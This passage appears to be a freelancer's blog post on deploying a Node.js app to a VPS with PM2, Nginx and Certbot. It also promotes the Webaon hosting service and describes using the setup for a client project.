GoDaddy– Beginner-friendly, widely used

AWS Lightsail – Preconfigured VPS instances

Self-managed VPS – Complete control over server setup

Webaon – I personally used Webaon for this project because i had discount coupon of it. With a 50% discount coupon, it was cost-effective and offered a smooth VPS setup suitable for my Node.js deployment.

Example plan used: 4 vCPU | 8 GB RAM | 200 GB SSD | ₹2,999/month

Preparing the VPS

After provisioning the VPS, I set it up like this:

Update packages

sudo apt update && sudo apt upgrade -y

Install Node.js and npm

curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs

Install PM2 for process management

sudo npm install -g pm2

Tips:

Use SSH key authentication for security.

Configure UFW firewall to allow only necessary ports: 22 (SSH), 80 (HTTP), 443 (HTTPS).

Deploying the Node.js App

Clone the repository:

git clone https://github.com/username/my-app.git
cd my-app
npm install

Start the app with PM2:

pm2 start index.js --name my-app
pm2 save
pm2 startup

Configure Nginx as a reverse proxy:

server {
listen 80;
server_name myapp.com;

location / {
    proxy_pass http://localhost:3000;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection 'upgrade';
    proxy_set_header Host $host;
    proxy_cache_bypass $http_upgrade;
}

}

Enable SSL using Certbot for HTTPS.

Performance and Monitoring

Monitor CPU and RAM usage to handle traffic spikes.

PM2 monitoring (pm2 monit) helps track running processes.

SSD storage ensures faster read/write operations, reducing response time.

Other helpful tools:

Docker – Containerize apps for easier deployment

Prometheus / UptimeRobot – Monitor server uptime

Nginx – Reverse proxy and load balancing

Freelancing Tip: How VPS Helped Me Win a Client

By using a VPS setup with Node.js, I could deliver a fully functional, high-performance web app for my Dubai-based client. The setup allowed me to:

Quickly deploy updates

Handle moderate traffic without downtime

Demonstrate professionalism and technical expertise

Using Webaon with the discount made it even easier to set up a professional environment without breaking the budget, helping me deliver a quality solution as a freelancer.

Conclusion

Using Node.js with a VPS is a powerful combination for small to medium projects. With full control over server resources, you can optimize performance, implement security best practices, and scale your app as needed.

Services like Webaon make provisioning and managing VPS instances simple and reliable. Pair that with PM2, Nginx, and monitoring tools, and you have a production-ready environment suitable for freelance projects or personal apps.

✅ Key Takeaways:

Node.js offers high performance, scalability, and a unified JavaScript environment.

VPS provides dedicated resources, security, and flexibility over shared hosting.

Using Webaon with a discount can make professional VPS deployment affordable.

Freelancers can leverage VPS setups to deliver professional results and impress clients.